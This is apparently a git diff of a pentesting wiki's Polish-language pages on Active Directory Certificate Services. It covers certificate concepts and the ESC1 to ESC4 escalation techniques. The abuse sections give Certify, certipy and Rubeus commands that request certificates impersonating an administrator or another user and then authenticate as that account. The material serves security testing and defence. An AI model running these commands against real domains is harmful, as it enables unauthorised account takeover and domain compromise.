 - [Start hacking Bluetooth Low Energy today! (part 2) – Pentest Partners](https://www.pentestpartners.com/security-blog/start-hacking-bluetooth-low-energy-today-part-2/)
 - [Sniffle – A sniffer for Bluetooth 5 and 4.x LE](https://github.com/nccgroup/Sniffle)

src/windows-hardening/active-directory-methodology/ad-certificates/README.md

@@ -1,4 +1,4 @@
-# Certyfikaty AD
+# AD Certificates
 
 {{#include ../../../banners/hacktricks-training.md}}
 
@@ -6,102 +6,102 @@
 
 ### Składniki certyfikatu
 
-- The **Subject** of the certificate denotes its owner.
-- A **Public Key** is paired with a privately held key to link the certificate to its rightful owner.
-- The **Validity Period**, defined by **NotBefore** and **NotAfter** dates, marks the certificate's effective duration.
-- A unique **Serial Number**, provided by the Certificate Authority (CA), identifies each certificate.
-- The **Issuer** refers to the CA that has issued the certificate.
-- **SubjectAlternativeName** allows for additional names for the subject, enhancing identification flexibility.
-- **Basic Constraints** identify if the certificate is for a CA or an end entity and define usage restrictions.
-- **Extended Key Usages (EKUs)** delineate the certificate's specific purposes, like code signing or email encryption, through Object Identifiers (OIDs).
-- The **Signature Algorithm** specifies the method for signing the certificate.
-- The **Signature**, created with the issuer's private key, guarantees the certificate's authenticity.
+- **Subject** certyfikatu oznacza jego właściciela.
+- **Public Key** jest sparowany z kluczem prywatnym, aby powiązać certyfikat z jego prawowitym właścicielem.
+- **Validity Period**, określony przez daty **NotBefore** i **NotAfter**, wyznacza okres ważności certyfikatu.
+- Unikalny **Serial Number**, nadawany przez Certificate Authority (CA), identyfikuje każdy certyfikat.
+- **Issuer** odnosi się do CA, który wydał certyfikat.
+- **SubjectAlternativeName** pozwala na dodatkowe nazwy podmiotu, zwiększając elastyczność identyfikacji.
+- **Basic Constraints** określają, czy certyfikat jest dla CA czy dla końcowego podmiotu oraz definiują ograniczenia użycia.
+- **Extended Key Usages (EKUs)** określają konkretne przeznaczenia certyfikatu, takie jak podpisywanie kodu czy szyfrowanie poczty, za pomocą Object Identifiers (OIDs).
+- **Signature Algorithm** określa metodę podpisania certyfikatu.
+- **Signature**, utworzony przy użyciu prywatnego klucza wystawcy, gwarantuje autentyczność certyfikatu.
 
 ### Szczególne uwagi
 
-- **Subject Alternative Names (SANs)** rozszerzają zastosowanie certyfikatu na wiele tożsamości, co jest kluczowe dla serwerów obsługujących wiele domen. Bezpieczne procesy wydawania są niezbędne, aby uniknąć ryzyka podszywania się przez atakujących modyfikujących specyfikację SAN.
+- **Subject Alternative Names (SANs)** rozszerzają zastosowanie certyfikatu na wiele tożsamości, co jest kluczowe dla serwerów obsługujących wiele domen. Bezpieczne procesy wydawania są niezbędne, aby uniknąć ryzyka podszywania się przez atakującego manipulującego specyfikacją SAN.
 
 ### Certificate Authorities (CAs) w Active Directory (AD)
 
-AD CS rozpoznaje certyfikaty CA w lesie AD za pomocą wyznaczonych kontenerów, z których każdy pełni unikalną rolę:
+AD CS rozpoznaje certyfikaty CA w lesie AD poprzez wyznaczone kontenery, z których każdy pełni inną rolę:
 
 - **Certification Authorities** container przechowuje zaufane certyfikaty root CA.
 - **Enrolment Services** container zawiera informacje o Enterprise CAs i ich certificate templates.
-- **NTAuthCertificates** object obejmuje certyfikaty CA uprawnione do uwierzytelniania w AD.
-- **AIA (Authority Information Access)** container ułatwia walidację łańcucha certyfikatów dzięki certyfikatom pośrednim i cross CA.
+- Obiekt **NTAuthCertificates** obejmuje certyfikaty CA uprawnione do uwierzytelniania w AD.
+- **AIA (Authority Information Access)** container ułatwia weryfikację łańcucha certyfikatów za pomocą certyfikatów pośrednich i cross CA.
 
-### Pozyskiwanie certyfikatu: przebieg żądania klienta
+### Pozyskiwanie certyfikatów: przepływ żądania klienta
 
-1. Proces żądania zaczyna się od odnalezienia Enterprise CA przez klienta.
-2. Tworzony jest CSR, zawierający klucz publiczny i inne dane, po wygenerowaniu pary klucz publiczny–prywatny.
-3. CA ocenia CSR względem dostępnych certificate templates i wydaje certyfikat na podstawie uprawnień szablonu.
+1. Proces rozpoczyna się, gdy klient znajduje Enterprise CA.
+2. Tworzony jest CSR, zawierający klucz publiczny i inne szczegóły, po wygenerowaniu pary kluczy publiczny-prywatny.
+3. CA ocenia CSR względem dostępnych certificate templates i wydaje certyfikat zgodnie z uprawnieniami szablonu.
 4. Po zatwierdzeniu CA podpisuje certyfikat swoim kluczem prywatnym i zwraca go klientowi.
 
 ### Certificate Templates
 
-Zdefiniowane w AD, te szablony określają ustawienia i uprawnienia do wydawania certyfikatów, w tym dozwolone EKU oraz prawa do enrollment i modyfikacji — kluczowe do zarządzania dostępem do usług certyfikacyjnych.
+Zdefiniowane w AD, te szablony określają ustawienia i uprawnienia do wydawania certyfikatów, w tym dozwolone EKU oraz prawa do rejestracji lub modyfikacji — kluczowe dla zarządzania dostępem do usług certyfikatowych.
 
-## Rejestracja certyfikatu
+## Certificate Enrollment
 
-Proces rejestracji certyfikatów jest inicjowany przez administratora, który **tworzy certificate template**, który następnie jest **publikowany** przez Enterprise Certificate Authority (CA). To udostępnia szablon do rejestracji przez klientów, co osiąga się dodając nazwę szablonu do pola `certificatetemplates` obiektu Active Directory.
+Proces rejestracji certyfikatów jest inicjowany przez administratora, który **tworzy certificate template**, a następnie szablon jest **publikowany** przez Enterprise Certificate Authority (CA). To udostępnia szablon do rejestracji przez klientów, co osiąga się przez dodanie nazwy szablonu do pola `certificatetemplates` obiektu Active Directory.
 
-Aby klient mógł zażądać certyfikatu, muszą być przyznane mu **enrollment rights**. Prawa te są definiowane przez security descriptors na certificate template oraz na samym Enterprise CA. Uprawnienia muszą być nadane w obu miejscach, aby żądanie zakończyło się sukcesem.
+Aby klient mógł zażądać certyfikatu, muszą być przyznane **enrollment rights**. Prawa te definiowane są przez security descriptors na certificate template oraz na samym Enterprise CA. Uprawnienia muszą być nadane w obu miejscach, aby żądanie zakończyło się powodzeniem.
 
 ### Prawa do rejestracji szablonu
 
-Prawa te są określone przez Access Control Entries (ACE), szczegółowo opisujące uprawnienia takie jak:
+Prawa te określone są poprzez Access Control Entries (ACE), wyszczególniając uprawnienia takie jak:
 
-- **Certificate-Enrollment** i **Certificate-AutoEnrollment** prawa, każde powiązane z określonymi GUID.
+- **Certificate-Enrollment** i **Certificate-AutoEnrollment**, każde powiązane z konkretnymi GUID.
 - **ExtendedRights**, pozwalające na wszystkie rozszerzone uprawnienia.
 - **FullControl/GenericAll**, zapewniające pełną kontrolę nad szablonem.
 
-### Prawa Enterprise CA do rejestracji
+### Prawa do rejestracji na Enterprise CA
 
-Prawa CA są opisane w jego security descriptorze, dostępnym przez konsolę zarządzania Certificate Authority. Niektóre ustawienia mogą nawet umożliwiać zdalny dostęp użytkownikom o niskich uprawnieniach, co może stanowić zagrożenie bezpieczeństwa.
+Prawa CA są opisane w jego security descriptor, dostępnym przez konsolę zarządzania Certificate Authority. Niektóre ustawienia pozwalają nawet użytkownikom o niskich uprawnieniach na zdalny dostęp, co może stanowić problem bezpieczeństwa.
 
 ### Dodatkowe kontrole wydawania
 
-Mogą być stosowane pewne kontrole, takie jak:
+Mogą obowiązywać pewne kontrole, takie jak:
 
 - **Manager Approval**: umieszcza żądania w stanie oczekującym do momentu zatwierdzenia przez managera certyfikatów.
-- **Enrolment Agents and Authorized Signatures**: określają liczbę wymaganych podpisów w CSR oraz niezbędne Application Policy OIDy.
+- **Enrolment Agents i Authorized Signatures**: określają liczbę wymaganych podpisów na CSR oraz niezbędne Application Policy OIDs.
 
 ### Metody żądania certyfikatów
 
-Certyfikaty można żądać przez:
+Certyfikaty można żądać za pomocą:
 
 1. **Windows Client Certificate Enrollment Protocol** (MS-WCCE), używając interfejsów DCOM.
 2. **ICertPassage Remote Protocol** (MS-ICPR), przez named pipes lub TCP/IP.
-3. Interfejs webowy certificate enrollment, z rolą Certificate Authority Web Enrollment zainstalowaną.
-4. **Certificate Enrollment Service** (CES), w powiązaniu z Certificate Enrollment Policy (CEP) service.
+3. Interfejsu webowego certificate enrollment, z rolą Certificate Authority Web Enrollment zainstalowaną.
+4. **Certificate Enrollment Service** (CES), w połączeniu z usługą Certificate Enrollment Policy (CEP).
 5. **Network Device Enrollment Service** (NDES) dla urządzeń sieciowych, używając Simple Certificate Enrollment Protocol (SCEP).
 
-Użytkownicy Windows mogą także żądać certyfikatów przez GUI (`certmgr.msc` lub `certlm.msc`) lub narzędzia wiersza poleceń (`certreq.exe` lub polecenie PowerShell `Get-Certificate`).
+Użytkownicy Windows mogą także żądać certyfikatów poprzez GUI (`certmgr.msc` lub `certlm.msc`) lub narzędzia wiersza poleceń (`certreq.exe` lub polecenie PowerShell `Get-Certificate`).
 ```bash
 # Example of requesting a certificate using PowerShell
 Get-Certificate -Template "User" -CertStoreLocation "cert:\\CurrentUser\\My"
 ```
-## Uwierzytelnianie za pomocą certyfikatów
+## Uwierzytelnianie certyfikatami
 
-Active Directory (AD) obsługuje uwierzytelnianie przy użyciu certyfikatów, głównie z wykorzystaniem protokołów **Kerberos** i **Secure Channel (Schannel)**.
+Active Directory (AD) obsługuje uwierzytelnianie certyfikatami, głównie wykorzystując protokoły **Kerberos** i **Secure Channel (Schannel)**.
 
 ### Proces uwierzytelniania Kerberos
 
-W procesie uwierzytelniania Kerberos żądanie użytkownika o Ticket Granting Ticket (TGT) jest podpisywane przy użyciu **klucza prywatnego** certyfikatu użytkownika. To żądanie podlega kilku weryfikacjom wykonywanym przez kontroler domeny, w tym sprawdzeniu **ważności**, **ścieżki** oraz **statusu unieważnienia** certyfikatu. Weryfikacje obejmują także potwierdzenie, że certyfikat pochodzi z zaufanego źródła oraz obecności wystawcy w **magazynie certyfikatów NTAUTH**. Udane weryfikacje skutkują wydaniem TGT. Obiekt **`NTAuthCertificates`** w AD, znajdujący się pod:
+W procesie uwierzytelniania Kerberos żądanie użytkownika o Ticket Granting Ticket (TGT) jest podpisywane przy użyciu **klucza prywatnego** certyfikatu użytkownika. Żądanie to jest poddawane kilku weryfikacjom przez kontroler domeny, w tym sprawdzeniu **ważności**, **ścieżki** oraz **stanu unieważnienia** certyfikatu. Weryfikacje obejmują również sprawdzenie, że certyfikat pochodzi z zaufanego źródła oraz potwierdzenie obecności wystawcy w **NTAUTH certificate store**. Pomyślne weryfikacje skutkują wystawieniem TGT. Obiekt **`NTAuthCertificates`** w AD, znajdujący się pod:
 ```bash
 CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=<domain>,DC=<com>
 ```
-jest kluczowe dla ustanawiania zaufania w uwierzytelnianiu za pomocą certyfikatów.
+Jest kluczowy dla ustanawiania zaufania przy uwierzytelnianiu za pomocą certyfikatów.
 
-### Secure Channel (Schannel) Authentication
+### Uwierzytelnianie Secure Channel (Schannel)
 
-Schannel umożliwia bezpieczne połączenia TLS/SSL, w których podczas handshake klient przedstawia certyfikat, który — jeśli zostanie pomyślnie zweryfikowany — uprawnia do dostępu. Mapowanie certyfikatu na konto AD może wykorzystywać funkcję Kerberos **S4U2Self** lub **Subject Alternative Name (SAN)** certyfikatu, między innymi metodami.
+Schannel ułatwia bezpieczne połączenia TLS/SSL, gdzie podczas handshake klient przedstawia certyfikat, który, jeśli zostanie pomyślnie zweryfikowany, uprawnia do dostępu. Mapowanie certyfikatu na konto AD może obejmować funkcję Kerberos **S4U2Self** lub wykorzystanie **Subject Alternative Name (SAN)** certyfikatu, oraz inne metody.
 
-### AD Certificate Services Enumeration
+### Enumeracja usług certyfikatów AD
 
-Usługi certyfikatów AD można wyliczyć za pomocą zapytań LDAP, ujawniając informacje o **Enterprise Certificate Authorities (CAs)** i ich konfiguracjach. Jest to dostępne dla dowolnego użytkownika uwierzytelnionego w domenie bez specjalnych uprawnień. Narzędzia takie jak **[Certify](https://github.com/GhostPack/Certify)** i **[Certipy](https://github.com/ly4k/Certipy)** są używane do enumeracji i oceny podatności w środowiskach AD CS.
+Usługi certyfikatów AD można enumerować za pomocą zapytań LDAP, ujawniając informacje o **Enterprise Certificate Authorities (CAs)** i ich konfiguracjach. Jest to dostępne dla każdego użytkownika uwierzytelnionego w domenie bez specjalnych uprawnień. Narzędzia takie jak **[Certify](https://github.com/GhostPack/Certify)** i **[Certipy](https://github.com/ly4k/Certipy)** służą do enumeracji i oceny podatności w środowiskach AD CS.
 
-Przykładowe polecenia użycia tych narzędzi obejmują:
+Polecenia do użycia tych narzędzi obejmują:
 ```bash
 # Enumerate trusted root CA certificates, Enterprise CAs and HTTP enrollment endpoints
 # Useful flags: /domain, /path, /hideAdmins, /showAllPermissions, /skipWebServiceChecks

src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md

@@ -1,44 +1,44 @@
-# AD CS Eskalacja w domenie
+# Eskalacja domeny AD CS
 
 {{#include ../../../banners/hacktricks-training.md}}
 
 
-**To jest podsumowanie sekcji technik eskalacji z poniższych wpisów:**
+**To jest podsumowanie sekcji dotyczących technik eskalacji z postów:**
 
 - [https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf)
 - [https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
 - [https://github.com/ly4k/Certipy](https://github.com/ly4k/Certipy)
 
-## Misconfigured Certificate Templates - ESC1
+## Błędnie skonfigurowane szablony certyfikatów - ESC1
 
 ### Wyjaśnienie
 
-### Misconfigured Certificate Templates - ESC1 Wyjaśnienie
+### Błędnie skonfigurowane szablony certyfikatów - ESC1 — wyjaśnienie
 
-- **Prawa do rejestracji (enrolment rights) są przyznawane niskoprzywilejowanym użytkownikom przez Enterprise CA.**
-- **Zatwierdzenie przez menedżera nie jest wymagane.**
-- **Nie są potrzebne podpisy uprawnionego personelu.**
-- **Security descriptors na szablonach certyfikatów są zbyt liberalne, pozwalając niskoprzywilejowanym użytkownikom uzyskać prawa do rejestracji.**
-- **Szablony certyfikatów są skonfigurowane tak, aby określać EKU ułatwiające uwierzytelnianie:**
-- Extended Key Usage (EKU) identyfikatory takie jak Client Authentication (OID 1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2), Any Purpose (OID 2.5.29.37.0), lub brak EKU (SubCA) są uwzględnione.
-- **Szablon pozwala wnioskodawcom na określenie subjectAltName w Certificate Signing Request (CSR):**
-- Active Directory (AD) priorytetyzuje subjectAltName (SAN) w certyfikacie do weryfikacji tożsamości, jeśli jest obecny. Oznacza to, że poprzez określenie SAN w CSR można zażądać certyfikatu, który podszyje się pod dowolnego użytkownika (np. administratora domeny). Możliwość określenia SAN przez wnioskodawcę jest wskazywana w obiekcie szablonu certyfikatu w AD przez właściwość `mspki-certificate-name-flag`. Właściwość ta jest bitmaską, a obecność flagi `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` zezwala wnioskodawcy na określenie SAN.
+- **Uprawnienia do rejestracji są nadawane niskoprzywilejowanym użytkownikom przez Enterprise CA.**
+- **Zatwierdzenie przełożonego nie jest wymagane.**
+- **Podpisy upoważnionego personelu nie są potrzebne.**
+- **Deskryptory zabezpieczeń na szablonach certyfikatów są nadmiernie liberalne, pozwalając niskoprzywilejowanym użytkownikom na uzyskanie uprawnień do rejestracji.**
+- **Szablony certyfikatów są skonfigurowane tak, by definiować EKU ułatwiające uwierzytelnianie:**
+- Identyfikatory Extended Key Usage (EKU), takie jak Client Authentication (OID 1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2), Any Purpose (OID 2.5.29.37.0), lub brak EKU (SubCA) są uwzględnione.
+- **Szablon zezwala wnioskodawcom na dołączenie subjectAltName do Certificate Signing Request (CSR):**
+- Active Directory (AD) traktuje subjectAltName (SAN) w certyfikacie priorytetowo przy weryfikacji tożsamości, jeśli jest obecny. Oznacza to, że poprzez określenie SAN w CSR można zażądać certyfikatu umożliwiającego podszycie się pod dowolnego użytkownika (np. administratora domeny). Możliwość określenia SAN przez wnioskodawcę jest wskazana w obiekcie AD szablonu certyfikatu przez właściwość `mspki-certificate-name-flag`. Właściwość ta jest maską bitową, a obecność flagi `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` umożliwia wnioskodawcy określenie SAN.
 
 > [!CAUTION]
-> Konfiguracja opisana powyżej pozwala niskoprzywilejowanym użytkownikom żądać certyfikatów z dowolnym SAN, co umożliwia uwierzytelnianie się jako dowolny podmiot domeny poprzez Kerberos lub SChannel.
+> Opisana konfiguracja pozwala niskoprzywilejowanym użytkownikom żądać certyfikatów z dowolnym wybranym SAN, co umożliwia uwierzytelnianie się jako dowolny podmiot domenowy przez Kerberos lub SChannel.
 
-Funkcja ta jest czasem włączana, by wspierać generowanie na żądanie certyfikatów HTTPS lub hosta przez produkty czy usługi wdrożeniowe, albo wskutek braku zrozumienia.
+Funkcja ta bywa włączana, aby wspierać generowanie certyfikatów HTTPS lub certyfikatów hostów "w locie" przez produkty lub usługi wdrożeniowe, albo z powodu braku zrozumienia.
 
-Zauważono, że tworzenie certyfikatu z tą opcją generuje ostrzeżenie, czego nie widać w sytuacji, gdy istniejący szablon certyfikatu (np. `WebServer`, który ma włączoną flagę `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`) zostanie skopiowany i następnie zmodyfikowany, aby dodać OID uwierzytelniania.
+Zauważono, że utworzenie certyfikatu z tą opcją generuje ostrzeżenie, czego nie ma w przypadku skopiowania istniejącego szablonu certyfikatu (takiego jak szablon `WebServer`, który ma włączoną flagę `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`) i następnie zmodyfikowania go w celu dodania OID uwierzytelniania.
 
-### Abuse
+### Nadużycie
 
 Aby **znaleźć podatne szablony certyfikatów** możesz uruchomić:
 ```bash
 Certify.exe find /vulnerable
 certipy find -username john@corp.local -password Passw0rd -dc-ip 172.16.126.128
 ```
-Aby **wykorzystać tę podatność do podszycia się pod administratora** można uruchomić:
+Aby **wykorzystać tę podatność do podszycia się pod administratora**, można uruchomić:
 ```bash
 # Impersonate by setting SAN to a target principal (UPN or sAMAccountName)
 Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:administrator@corp.local
@@ -54,66 +54,68 @@ Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:ad
 certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' \
 -template 'ESC1' -upn 'administrator@corp.local'
 ```
-Następnie możesz przekonwertować wygenerowany **certyfikat do formatu `.pfx`** i ponownie użyć go do **uwierzytelnienia za pomocą Rubeus lub certipy**:
+Następnie możesz przekonwertować wygenerowany certyfikat na format `.pfx` i ponownie użyć go do uwierzytelnienia za pomocą Rubeus lub certipy:
 ```bash
 Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt
 certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100
 ```
 Binarne pliki Windows "Certreq.exe" i "Certutil.exe" mogą być użyte do wygenerowania PFX: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
 
-Wyliczenie szablonów certyfikatów w schemacie konfiguracji lasu AD, konkretnie tych, które nie wymagają zatwierdzeń ani podpisów, posiadają EKU Client Authentication lub Smart Card Logon oraz mają włączoną flagę `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`, można przeprowadzić uruchamiając następujące zapytanie LDAP:
+Wyliczenie szablonów certyfikatów w schemacie konfiguracji lasu AD, konkretnie tych, które nie wymagają zatwierdzenia ani podpisów, posiadają EKU Client Authentication lub Smart Card Logon oraz mają włączoną flagę `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`, można wykonać uruchamiając następujące zapytanie LDAP:
 ```
 (&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1))
 ```
-## Błędnie skonfigurowane szablony certyfikatów - ESC2
+## Nieprawidłowo skonfigurowane szablony certyfikatów - ESC2
 
 ### Wyjaśnienie
 
-1. Enterprise CA przyznaje prawa rejestracji certyfikatów użytkownikom o niskich uprawnieniach.
+Drugi scenariusz nadużycia jest wariacją pierwszego:
+
+1. Uprawnienia do rejestracji certyfikatów są przyznawane użytkownikom o niskich uprawnieniach przez Enterprise CA.
 2. Wymóg zatwierdzenia przez managera jest wyłączony.
 3. Wymóg autoryzowanych podpisów jest pominięty.
-4. Nadmiernie liberalny security descriptor w szablonie certyfikatu przyznaje prawa rejestracji certyfikatu użytkownikom o niskich uprawnieniach.
-5. **Szablon certyfikatu jest zdefiniowany tak, aby zawierać Any Purpose EKU lub nie zawierać EKU.**
+4. Zbyt liberalny deskryptor zabezpieczeń na szablonie certyfikatu przyznaje prawa do rejestracji certyfikatów użytkownikom o niskich uprawnieniach.
+5. **Szablon certyfikatu jest zdefiniowany tak, aby zawierać Any Purpose EKU lub no EKU.**
 
-**Any Purpose EKU** pozwala atakującemu uzyskać certyfikat do **dowolnego celu**, w tym uwierzytelniania klienta, uwierzytelniania serwera, podpisywania kodu itd. Tę samą **technikę używaną dla ESC3** można zastosować do wykorzystania tego scenariusza.
+The **Any Purpose EKU** pozwala atakującemu uzyskać certyfikat do **dowolnego celu**, w tym uwierzytelniania klienta, uwierzytelniania serwera, podpisywania kodu itp. Ten sam **technique used for ESC3** można wykorzystać do eksploatacji tego scenariusza.
 
-Certyfikaty z **brakiem EKU**, które działają jako certyfikaty subordinowanego CA, mogą być wykorzystane do **dowolnego celu** i **mogą również służyć do podpisywania nowych certyfikatów**. W związku z tym atakujący mógłby określić dowolne EKU lub pola w nowych certyfikatach, wykorzystując certyfikat subordinowanego CA.
+Certyfikaty z **no EKUs**, które działają jako subordinate CA certificates, mogą być wykorzystane do **dowolnego celu** i **również mogą być użyte do podpisywania nowych certyfikatów**. W związku z tym atakujący mógłby określić dowolne EKU lub pola w nowych certyfikatach, wykorzystując subordinate CA certificate.
 
-Jednak nowe certyfikaty utworzone do **uwierzytelniania domenowego** nie będą działać, jeśli certyfikat subordinowanego CA nie jest zaufany przez obiekt **`NTAuthCertificates`**, co jest ustawieniem domyślnym. Niemniej jednak atakujący wciąż może utworzyć **nowe certyfikaty z dowolnym EKU** i dowolnymi wartościami certyfikatu. Mogą one potencjalnie zostać **nadużyte** do szerokiego zakresu celów (np. podpisywanie kodu, uwierzytelnianie serwera itp.) i mogą mieć istotne konsekwencje dla innych aplikacji w sieci, takich jak SAML, AD FS lub IPSec.
+Jednak nowe certyfikaty utworzone dla **domain authentication** nie będą działać, jeśli subordinate CA nie jest zaufany przez obiekt **`NTAuthCertificates`**, co jest ustawieniem domyślnym. Niemniej jednak atakujący nadal może tworzyć **nowe certyfikaty z dowolnym EKU** i arbitralnymi wartościami certyfikatu. Mogą one być potencjalnie **nadużyte** do szerokiego zakresu celów (np. podpisywanie kodu, uwierzytelnianie serwera itp.) i mogą mieć istotne konsekwencje dla innych aplikacji w sieci, takich jak SAML, AD FS lub IPSec.
 
-Aby wyliczyć szablony pasujące do tego scenariusza w schemacie konfiguracji lasu AD, można uruchomić następujące zapytanie LDAP:
+Aby wyenumerować szablony pasujące do tego scenariusza w schemacie konfiguracji lasu AD, można uruchomić następujące zapytanie LDAP:
 ```
 (&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))
 ```
-## Błędnie skonfigurowane szablony Enrollment Agent - ESC3
+## Nieprawidłowo skonfigurowane szablony Enrolment Agent - ESC3
 
 ### Wyjaśnienie
 
-Ten scenariusz jest podobny do pierwszego i drugiego, ale nadużywa innego EKU (Certificate Request Agent) oraz 2 różnych szablonów (w związku z tym ma 2 zestawy wymagań).
+Ten scenariusz jest podobny do pierwszego i drugiego, ale **wykorzystuje** inny EKU (Certificate Request Agent) i **2 różne szablony** (w związku z tym ma 2 zestawy wymagań),
 
-The Certificate Request Agent EKU (OID 1.3.6.1.4.1.311.20.2.1), znany jako Enrollment Agent w dokumentacji Microsoft, umożliwia principalowi enroll for a certificate on behalf of another user.
+The **Certificate Request Agent EKU** (OID 1.3.6.1.4.1.311.20.2.1), znany jako **Enrollment Agent** w dokumentacji Microsoft, umożliwia podmiotowi **wnioskowanie o certyfikat w imieniu innego użytkownika**.
 
-„enrollment agent” zapisuje się w takim „template” i używa wynikowego certificate do współpodpisania CSR w imieniu innego użytkownika. Następnie wysyła współpodpisany CSR do CA, zapisując się w template, który zezwala na „enroll on behalf of”, a CA wystawia certificate należący do „innego” użytkownika.
+The **“enrollment agent”** wnioskuje o taki **szablon** i używa otrzymanego **certyfikatu do współpodpisania CSR w imieniu innego użytkownika**. Następnie **wysyła** współpodpisany CSR do CA, wnioskując o **szablon**, który **pozwala na “enroll on behalf of”**, a CA odpowiada wydając **certyfikat należący do “innego” użytkownika**.
 
 **Wymagania 1:**
 
-- Enterprise CA przyznaje użytkownikom o niskich uprawnieniach prawa do enrollment.
-- Wymóg zatwierdzenia przez managera jest pominięty.
+- Enterprise CA przyznaje prawa do rejestracji użytkownikom o niskich uprawnieniach.
+- Wymóg zatwierdzenia przez przełożonego jest pominięty.
 - Brak wymogu autoryzowanych podpisów.
-- Security descriptor certificate template jest nadmiernie permisywny i przyznaje enrollment rights użytkownikom o niskich uprawnieniach.
-- Certificate template zawiera Certificate Request Agent EKU, umożliwiając request of other certificate templates on behalf of other principals.
+- Deskriptor zabezpieczeń szablonu certyfikatu jest nadmiernie liberalny, przyznając prawa do rejestracji użytkownikom o niskich uprawnieniach.
+- Szablon certyfikatu zawiera Certificate Request Agent EKU, umożliwiając żądanie innych szablonów certyfikatów w imieniu innych podmiotów.
 
 **Wymagania 2:**
 
-- Enterprise CA przyznaje enrollment rights użytkownikom o niskich uprawnieniach.
-- Manager approval jest pomijane.
-- Wersja schematu template jest albo 1, albo większa niż 2, i określa Application Policy Issuance Requirement, które wymaga Certificate Request Agent EKU.
-- EKU zdefiniowane w certificate template pozwala na domain authentication.
+- Enterprise CA przyznaje prawa do rejestracji użytkownikom o niskich uprawnieniach.
+- Zatwierdzenie przez przełożonego jest ominięte.
+- Wersja schematu szablonu jest albo 1, albo większa niż 2, i określa Application Policy Issuance Requirement, które wymaga Certificate Request Agent EKU.
+- EKU zdefiniowany w szablonie certyfikatu pozwala na uwierzytelnianie domenowe.
 - Ograniczenia dla enrollment agents nie są stosowane na CA.
 
 ### Nadużycie
 
-Możesz użyć [**Certify**](https://github.com/GhostPack/Certify) lub [**Certipy**](https://github.com/ly4k/Certipy) aby nadużyć tego scenariusza:
+Możesz użyć [**Certify**](https://github.com/GhostPack/Certify) lub [**Certipy**](https://github.com/ly4k/Certipy) aby wykorzystać ten scenariusz:
 ```bash
 # Request an enrollment agent certificate
 Certify.exe request /ca:DC01.DOMAIN.LOCAL\DOMAIN-CA /template:Vuln-EnrollmentAgent
@@ -127,29 +129,29 @@ certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.loca
 # Use Rubeus with the certificate to authenticate as the other user
 Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf
 ```
-Użytkownicy, którym zezwolono na uzyskanie **enrollment agent certificate**, szablony, do których agenci rejestracji mogą się zapisać, oraz **accounts**, w imieniu których agent rejestracji może działać, mogą być ograniczane przez enterprise CAs. Osiąga się to przez otwarcie `certsrc.msc` **snap-in**, **kliknięcie prawym przyciskiem myszy na CA**, **wybranie Properties**, a następnie **przejście** na kartę “Enrollment Agents”.
+The **users** who are allowed to **obtain** an **enrollment agent certificate**, the templates in which enrollment **agents** are permitted to enroll, and the **accounts** on behalf of which the enrollment agent may act can be constrained by enterprise CAs. This is achieved by opening the `certsrc.msc` **snap-in**, **right-clicking on the CA**, **clicking Properties**, and then **navigating** to the “Enrollment Agents” tab.
 
-Jednakże zauważono, że ustawienie **domyślne** dla CA to “**Do not restrict enrollment agents**.” Gdy administratorzy włączą ograniczenie dotyczące agentów rejestracji, ustawiając je na “Restrict enrollment agents,” domyślna konfiguracja nadal pozostaje skrajnie liberalna. Pozwala ona **Everyone** na rejestrację we wszystkich szablonach jako dowolny użytkownik.
+However, it is noted that the **default** setting for CAs is to “**Do not restrict enrollment agents**.” When the restriction on enrollment agents is enabled by administrators, setting it to “Restrict enrollment agents,” the default configuration remains extremely permissive. It allows **Everyone** access to enroll in all templates as anyone.
 
-## Wrażliwa kontrola dostępu do szablonów certyfikatów - ESC4
+## Vulnerable Certificate Template Access Control - ESC4
 
-### **Wyjaśnienie**
+### **Explanation**
 
-**deskryptor bezpieczeństwa** na **szablonach certyfikatów** definiuje **uprawnienia**, które konkretne **podmioty AD** posiadają względem szablonu.
+The **security descriptor** on **certificate templates** defines the **permissions** specific **AD principals** possess concerning the template.
 
-Jeśli **atakujący** posiada wymagane **uprawnienia** do **modyfikacji** **szablonu** i wprowadzenia dowolnych **eksploatowalnych błędów konfiguracji** opisanych we **wcześniejszych sekcjach**, może to ułatwić eskalację uprawnień.
